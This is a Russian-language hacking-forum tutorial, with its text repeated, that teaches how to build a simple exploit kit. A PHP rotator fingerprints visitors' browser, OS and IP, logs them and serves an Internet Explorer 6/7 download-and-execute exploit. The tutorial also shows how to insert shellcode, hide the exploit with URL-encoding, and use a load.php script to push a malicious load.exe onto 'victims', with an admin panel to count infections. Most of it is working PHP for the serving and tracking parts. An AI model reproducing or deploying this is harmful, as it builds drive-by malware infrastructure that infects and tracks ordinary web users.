1. Intro.
Что такое эксплоит. Эксплоит (exploit — использовать) - фрагмент программного кода, который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведет к повышению привелегий, отказу в обслуживании или выполнению произвольного кода.
Есть разные типы эксплоитов: local, remote, dos и тп, мы же будем использовать remote-эксплоиты.
Выбирать мы будем эксплоиты по типу remote\download and execution file\IE 6/7...То есть эксплоиты, которые позволяют через определенную уязвимость браузеров Internet explorer 6 и 7 загрузить и выполнить наш файл в системе.
Что такое связка-эксплоитов. Связка эксплоитов - набор эксплоитов, выдающихся ротатором. Задача ротатора - определить всевозможное ПО на машине жертвы и подобрать подходящий эксплоит. Стандарнтое "строение" связки:
Ротатор.
Эксплоиты.
Загружаемый файл.
Статистика.
Админ-панель.
Наиболее "популярные" паблик(общедоступные, доступные простым смертным) это Ice-Pack, Armitage[beta], G-pack и тп.
Почему мы будем выберать эксплоиты под IE? - Т.к. мы будем писать простейшую связку-эксплоитов, мы не будем рассматривать примеры более навороченных связок, эксплоиты под различные ОСи, браузеры, явамашины, сторонний софт типа Adobe\djvu-reader'oв\etc...После почтения статьи, вам не составит труда добавить другие эксплоиты и тд.
Наверняка у вас завалялсо какой-нибудь эксп, и вы в нем видите немного непонятные строки, типа такого:
Выше приведен кусок шелл-кода(shellcode).
Что такое шеллкоды. Шелл-код - это двоичный исполняемый код, который обычно передаёт управление консоли, например '/bin/sh' Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе(взято с вики).
Мы же будем использовать шеллкод в следующей схеме: загрузка эксплоита - при успешном "пробиве" передается управление шеллкоду - шеллкод загружает и исполняет наш исходный файл.
Теперь, когда мы разобрались с используемыми понятиями, можно переходить к следующему пункту...
2. С чего начинаем.
Для начала, составим схему нашей будущей мег0-связки)
Ротатор - скрипт будет определять ОСь, Браузер, Версию браузера, Уникальность посетителя, Айпи адрес, записывать полученные данные в бд и выдавать подходящий эксплоит. Назовем файл index.php
Файлы бд. - Обычно в связках эксплоитов используют mysql базы данных, но тк мы пишем простую связку, мы обойдемся и без них. Все будем писать в лог-файлы.
Файл\файлы эксплоитов - используемые эксплоиты, которые будет выдовать ротатор - файлы, содержащие наш вредоносный js-код. Назовем файл spl.php
Скрипт выдачи файла - так как нам нужно вести статистику загрузок файла, мы будем использовать скрипт, который будет писать в лог если к файлу было обращение, ну и выдовать этот файл.Назовем файл load.php. Разумеется такой способ сбора статистики "пробитых" машин не очень то и верен, мы будем использовать 2 вида подсчета загрузок: через скрипт и через наш файл.
Наш файл - exe-файл, который мы будем грузить "жертвам" ^^ Назовем файл load.exe
Админ-панель - какая же связка без 0дминки? Мы сделаем себе простенькую админку, чтоб нам было удобно просматривать статистику и результаты...управлять статистикой и тп...Назовем файл admin.php
Определились со схемой, можно приступать к заготовке материалов=)
Подбираем эксплоиты...Где их взять? Рекомендую искать свежие и не только экспы на сайтах:
Требования к эксплоитам указанны в п.1, но если вы пропустили и вам лень возвращаться, напомню: remote\download and execution\IE 6-7 ... Много не набирайте, мы же только учимся - 3-6 хватит...
Готово? - двигаемсо дальше...
Что там потребуется:
Мозг.
Прямые руки.
Текстовый редактор.
То, на чем фсе будем тестить, если вам не фпадло, можете каждый раз заливать фсе на хостинг с поддержкой пхп, но йа рекомендую поставить себе простенькую и легкую программу USBWebServer - программа содержит в себе апач\php\mysql и не требует установки, вес запакованного дистра - 12-14мб...так что проблем с программой не возникнет.
Когда у нас фсе готово, можно приступать к подготовке эксплоитов.
Открываем эксп в тектовом редакторе, ищем в js-коде переменную типа var shellcode\scode в таком духе, нашли? теперь нам нужно заменить на наш шеллкод...где взять шеллкод? - здесь несколько вариантов, скачать генератор шеллкодов, найти не проблема, скачать уже готовый шелл-код, подыскать материал по написанию шеллкодов и написать самому...выберать вам...
Шеллкоду мы будем указывать файл load.php ...
Теперь, когда шеллкод прикручен к сплоиенту, спрячим немного наш сплоит...
Выделяем оставшуюся часть кода, закидываем в url-encoder - найти не проблема, есть онлайн\ехе"шные\етц...
Теперь у нас получилось что-то на подобии следующего кода...
Теперь заменим этот код на следующий:
В сумме у нас получается примерно следующий эксплоит:
Эксплоит готов! Можно открывать баночку пива)
Переходим к следующей части нашего мег0-пака - Ротатор.
Для начала, нам нужно определить версию браузера и оси пользователя а так же его айпи адрес...
Браузер и ось мы будем мы все определять за счет строковых функций.
Айпи и браузер определили? Теперь определим ось
Едем дальше, теперь определим уникальность посетителя, запишем в лог его номер...
Практически все, теперь запишем в лог браузер\ось\айпи и тп...
Т.к мы не будем говорить о дизайне админки, таблицах в ней и тп, я следаю чтоб в лог писалось все довольно примитивно, и потом просто инклудилось в нашу админку:
Пачти готово, теперь осталось дописать код выдачи эксплоита, код примитивный, расчитан только на 3 вида IE:
версия < 6 , 6-версия и 7 версия ... Под оси и тп мы определять сплоиенты не будем, тк фспомните - пишем мы простейшую связку.
Все, наш файл index.php готов! Открываем еще одну баночку пива, едем дальше...
Наш файл load.php ...
Тут все достаточно просто:
Усе, осталось немного...
Основа готова, теперь можно приступать к написанию админки...тут дело уже творческое, кому-то она просто-напросто не нужна, кому-то нужна, но без лишних наворотов, а кто-то хочет флеш-админку с клевым дизом и кучей функций...так что выберать вам...Когда админка будет готова, главное указать в ней следующее:
Трафик: считывать кол-во будем из файла uniq.txt
Загрузки: считывать кол-во будем из файла loads.txt
Статистика: считывать будем из файла stats.txt
Если вы все делали слово в слово каг написано выше, у вас дириктория со связкой должна содержать следующие файлы:
index.php
load.php
loads.txt
stats.txt
unic.txt
uniq.txt
admin.php
файлы админки.
Теперь нам нужно все проверить, ставим на локалхост нашу новую связочку, проверяем чтоб небыло ошибок, Напомню про права, на лог-файлы и load.exe - ставим права 777. ... готово? - Атлична, Теперь закинем наш файл load.exe в папку со фсем остальным, поставим на хостинг и пустим немного траффа для проверки подобранных вами сплоитов на пробив... Разумеется, что от первой, написанной собственными руками связки, кульного пробива не ждите =)
3. End.
Подведем небольшой итог:
Теперь вы знаете как написать простую связку эксплоитов, нету 2ух баночек пива, вы узнали для сибя что-то новое и вам было не особо скучно фсе это читать...надеюсь...)
Немного полезного материала:
Что такое эксплоит. Эксплоит (exploit — использовать) - фрагмент программного кода, который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведет к повышению привелегий, отказу в обслуживании или выполнению произвольного кода.
Есть разные типы эксплоитов: local, remote, dos и тп, мы же будем использовать remote-эксплоиты.
Выбирать мы будем эксплоиты по типу remote\download and execution file\IE 6/7...То есть эксплоиты, которые позволяют через определенную уязвимость браузеров Internet explorer 6 и 7 загрузить и выполнить наш файл в системе.
Что такое связка-эксплоитов. Связка эксплоитов - набор эксплоитов, выдающихся ротатором. Задача ротатора - определить всевозможное ПО на машине жертвы и подобрать подходящий эксплоит. Стандарнтое "строение" связки:
Ротатор.
Эксплоиты.
Загружаемый файл.
Статистика.
Админ-панель.
Наиболее "популярные" паблик(общедоступные, доступные простым смертным) это Ice-Pack, Armitage[beta], G-pack и тп.
Почему мы будем выберать эксплоиты под IE? - Т.к. мы будем писать простейшую связку-эксплоитов, мы не будем рассматривать примеры более навороченных связок, эксплоиты под различные ОСи, браузеры, явамашины, сторонний софт типа Adobe\djvu-reader'oв\etc...После почтения статьи, вам не составит труда добавить другие эксплоиты и тд.
Наверняка у вас завалялсо какой-нибудь эксп, и вы в нем видите немного непонятные строки, типа такого:
Код:
%uC933%uE983%uD9A9%uD9EE%u2474%u5BF4%u7381%u5713
Что такое шеллкоды. Шелл-код - это двоичный исполняемый код, который обычно передаёт управление консоли, например '/bin/sh' Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе(взято с вики).
Мы же будем использовать шеллкод в следующей схеме: загрузка эксплоита - при успешном "пробиве" передается управление шеллкоду - шеллкод загружает и исполняет наш исходный файл.
Теперь, когда мы разобрались с используемыми понятиями, можно переходить к следующему пункту...
2. С чего начинаем.
Для начала, составим схему нашей будущей мег0-связки)
Ротатор - скрипт будет определять ОСь, Браузер, Версию браузера, Уникальность посетителя, Айпи адрес, записывать полученные данные в бд и выдавать подходящий эксплоит. Назовем файл index.php
Файлы бд. - Обычно в связках эксплоитов используют mysql базы данных, но тк мы пишем простую связку, мы обойдемся и без них. Все будем писать в лог-файлы.
Файл\файлы эксплоитов - используемые эксплоиты, которые будет выдовать ротатор - файлы, содержащие наш вредоносный js-код. Назовем файл spl.php
Скрипт выдачи файла - так как нам нужно вести статистику загрузок файла, мы будем использовать скрипт, который будет писать в лог если к файлу было обращение, ну и выдовать этот файл.Назовем файл load.php. Разумеется такой способ сбора статистики "пробитых" машин не очень то и верен, мы будем использовать 2 вида подсчета загрузок: через скрипт и через наш файл.
Наш файл - exe-файл, который мы будем грузить "жертвам" ^^ Назовем файл load.exe
Админ-панель - какая же связка без 0дминки? Мы сделаем себе простенькую админку, чтоб нам было удобно просматривать статистику и результаты...управлять статистикой и тп...Назовем файл admin.php
Определились со схемой, можно приступать к заготовке материалов=)
Подбираем эксплоиты...Где их взять? Рекомендую искать свежие и не только экспы на сайтах:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
и Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Требования к эксплоитам указанны в п.1, но если вы пропустили и вам лень возвращаться, напомню: remote\download and execution\IE 6-7 ... Много не набирайте, мы же только учимся - 3-6 хватит...
Готово? - двигаемсо дальше...
Что там потребуется:
Мозг.
Прямые руки.
Текстовый редактор.
То, на чем фсе будем тестить, если вам не фпадло, можете каждый раз заливать фсе на хостинг с поддержкой пхп, но йа рекомендую поставить себе простенькую и легкую программу USBWebServer - программа содержит в себе апач\php\mysql и не требует установки, вес запакованного дистра - 12-14мб...так что проблем с программой не возникнет.
Когда у нас фсе готово, можно приступать к подготовке эксплоитов.
Открываем эксп в тектовом редакторе, ищем в js-коде переменную типа var shellcode\scode в таком духе, нашли? теперь нам нужно заменить на наш шеллкод...где взять шеллкод? - здесь несколько вариантов, скачать генератор шеллкодов, найти не проблема, скачать уже готовый шелл-код, подыскать материал по написанию шеллкодов и написать самому...выберать вам...
Шеллкоду мы будем указывать файл load.php ...
Теперь, когда шеллкод прикручен к сплоиенту, спрячим немного наш сплоит...
Выделяем оставшуюся часть кода, закидываем в url-encoder - найти не проблема, есть онлайн\ехе"шные\етц...
Теперь у нас получилось что-то на подобии следующего кода...
Код:
%58%59%59%59%59%59%59
Код:
document.write(unescape('%58%59%59%59%59%59%59));
Код:
<script>
var shellcode = шеллкод;
document.write(unescape('%58%59%59%59%59%59%59'));
</script>
Переходим к следующей части нашего мег0-пака - Ротатор.
Для начала, нам нужно определить версию браузера и оси пользователя а так же его айпи адрес...
Браузер и ось мы будем мы все определять за счет строковых функций.
Код:
$ip = $_SERVER['REMOTE_ADDR']; //IP-адрес
/*Определяем браузер*/
$user_agent = getenv("HTTP_USER_AGENT"); //Получаем user-agent'a передаваемого браузером.
if (eregi("(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $vers) or
eregi("(opera/)([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $vers)) /*ищем в нем название браузера и версию, если найден, присваиваем переменной значения и таг же везде в следующих строках*/
{$typs= "Opera";
$browser = "Opera" . " " . $vers[2];}
elseif (eregi("(konqueror)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
{$typs= "Konqueror";
$browser = "Konqueror" . " " . $vers[2];}
elseif (eregi("(lynx)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers))
{$typs= "Lynx";
$browser = "Lynx" . " " . $vers[2];}
elseif (eregi("(links) \\(([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
{$typs= "Links";
$browser = "Links" . " " . $vers[2];}
elseif (eregi("(msie) ([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
{$typs= "Internet Explorer";
$browser = "Internet Explorer" . " " . $vers[2];}
elseif (eregi("(netscape6)/(6.[0-9]{1,3})", $user_agent, $vers))
{$typs= "Netscape";
$browser = "Netscape" . " " . $vers[2];}
elseif (eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers) or
eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers))
{$typs= "Firefox";
$browser = "Firefox" . " " . $vers[2];}
elseif (eregi("(mozilla)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
{$typs= "Mozilla";
$browser = "Mozilla" . " " . $vers[2];}
elseif (eregi("(flock)", $user_agent))
{$browser ="Flock";}
elseif (eregi("(maxthon)", $user_agent))
{$browser ="Maxthon";}
elseif (eregi("(chrome)", $user_agent))
{$browser ="Chrome";}
else
{$typs= "Other";
$browser = "Other";}
Код:
if (strstr($user_agent, "Windows 95")) $system = "Windows 95"; /*везде ищем в передаваемом user-agent'e ось, передаем значение переменной, если не найдено - даем назначение переменной ака имя браузера - other*/
elseif (strstr($user_agent, "Windows NT 4")) $system = "Windows NT 4";
elseif (strstr($user_agent, "Windows 98")) $system = "Windows 98";
elseif (strstr($user_agent, "Win 9x 4.9")) $system = "Windows ME";
elseif (strstr($user_agent, "Windows NT 5.0")) $system = "Windows 2000";
elseif (strstr($user_agent, "Windows NT 5.1")) $system = "Windows XP";
elseif (strstr($user_agent, "Windows NT 5.2")) $system = "Windows 2003";
elseif (strstr($user_agent, "Windows NT 6.0")) $system = "Windows Vista";
elseif (strstr($user_agent, "WOW64")) $system = "Windows Vista x64";
elseif (strstr($user_agent, "Linux")) $system = "Linux";
elseif (strstr($user_agent, "Mac OS")) $system = "Mac OS";
else $system = "Other";
Код:
/*Здесь мы смотрим есть ли айпи в нашей бд, если нету - к кол-ву уников прибавляется еденица, айпи пишется в лог...*/
if(!file_exists("./unic.txt"))
{
$fp = @fopen ("./unic.txt", "w");
fputs($fp,"1\n".$ip."\n");
fclose ($fp);
}
$f = true;
$l = @file("./unic.txt");
for ($i = 1; $i < count($l); $i++)
{
if ($ip == trim($l[$i]))
{
$f = false;
}
}
if($f){
$l[0]+=1;
$fp = @fopen ("./unic.txt", "w");
fputs($fp,$l[0]."\n");
for ($i = 1;$i < count($l);$i++)fputs($fp,$l[$i]);
fputs ($fp, $ip."\n");
fclose ($fp);
Т.к мы не будем говорить о дизайне админки, таблицах в ней и тп, я следаю чтоб в лог писалось все довольно примитивно, и потом просто инклудилось в нашу админку:
Код:
/*указываем переменным имя файла и каг его открыть, пишем туда полученные данные, если юзер уникален.*/
$log = "stats.txt";
$fp = fopen($log,"a+");
fwrite($fp,"$system:$browser:$ip<br>");
fclose($fp);
версия < 6 , 6-версия и 7 версия ... Под оси и тп мы определять сплоиенты не будем, тк фспомните - пишем мы простейшую связку.
Код:
/*если браузер ИЕ - смотрим версию, выдаем под нее файл, в коде указан одинаковый файл, но изменить не проблема*/
if($browser == "Internet Explorer") //Если браузер ослик, продолжаем...
{
if($vers < "6") //если версия ниже шестой
{ include "./spl.php"; } //инклудим сплоит под весии ниже 6
if($vers == "6") //если шестой
{ include "./spl.php"; } //инклудим сплоит под 6
if($vers == "7") //если седьмой
{ include "./spl.php"; } //инклудим сплоит под 7 ...
}
else //если у нас не ослик, а любой другой браузер
{
header("Location: about:blank"); //просто редиректим на about:blank
}
}
/*здесь мы пишем номер нашего уника*/
$a = trim($l[0]);
$we = fopen("./uniq.txt","w");
fwrite($we,$a);
fclose($we);
?>
Наш файл load.php ...
Тут все достаточно просто:
Код:
/**Открываем файло loads.txt пишем в него номер уника - для подсчета загрузок*/
<?php
$load = "loads.txt";
$fop = @fopen($load,"r");
if ($fop)
{
$counter = fgets($fop,10);
fclose($fop);
}
else
{
$counter = 0;
}
$counter++;
$fop = @fopen($hostfile,"w");
if ($fop)
{
$counter = fputs($fop,$counter);
fclose($fop);
}
/*посчитали? - теперь выдаем файл load.exe*/
$fo=fopen("load.exe", "rb");
while(!feof($fo))
{
$a=fgets($fo);
echo $a;
}
?>
Основа готова, теперь можно приступать к написанию админки...тут дело уже творческое, кому-то она просто-напросто не нужна, кому-то нужна, но без лишних наворотов, а кто-то хочет флеш-админку с клевым дизом и кучей функций...так что выберать вам...Когда админка будет готова, главное указать в ней следующее:
Трафик: считывать кол-во будем из файла uniq.txt
Загрузки: считывать кол-во будем из файла loads.txt
Статистика: считывать будем из файла stats.txt
Если вы все делали слово в слово каг написано выше, у вас дириктория со связкой должна содержать следующие файлы:
index.php
load.php
loads.txt
stats.txt
unic.txt
uniq.txt
admin.php
файлы админки.
Теперь нам нужно все проверить, ставим на локалхост нашу новую связочку, проверяем чтоб небыло ошибок, Напомню про права, на лог-файлы и load.exe - ставим права 777. ... готово? - Атлична, Теперь закинем наш файл load.exe в папку со фсем остальным, поставим на хостинг и пустим немного траффа для проверки подобранных вами сплоитов на пробив... Разумеется, что от первой, написанной собственными руками связки, кульного пробива не ждите =)
3. End.
Подведем небольшой итог:
Теперь вы знаете как написать простую связку эксплоитов, нету 2ух баночек пива, вы узнали для сибя что-то новое и вам было не особо скучно фсе это читать...надеюсь...)
Немного полезного материала:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
- универсальная поисковая система.Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
- хранилище эксплоитов.Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
- хранилище эксплоитов, обзоры багов и тд.Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
- подробнее про юзер-агент.Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
- онлайн Base64, HEX, Binary, и т. д. кодер/декодер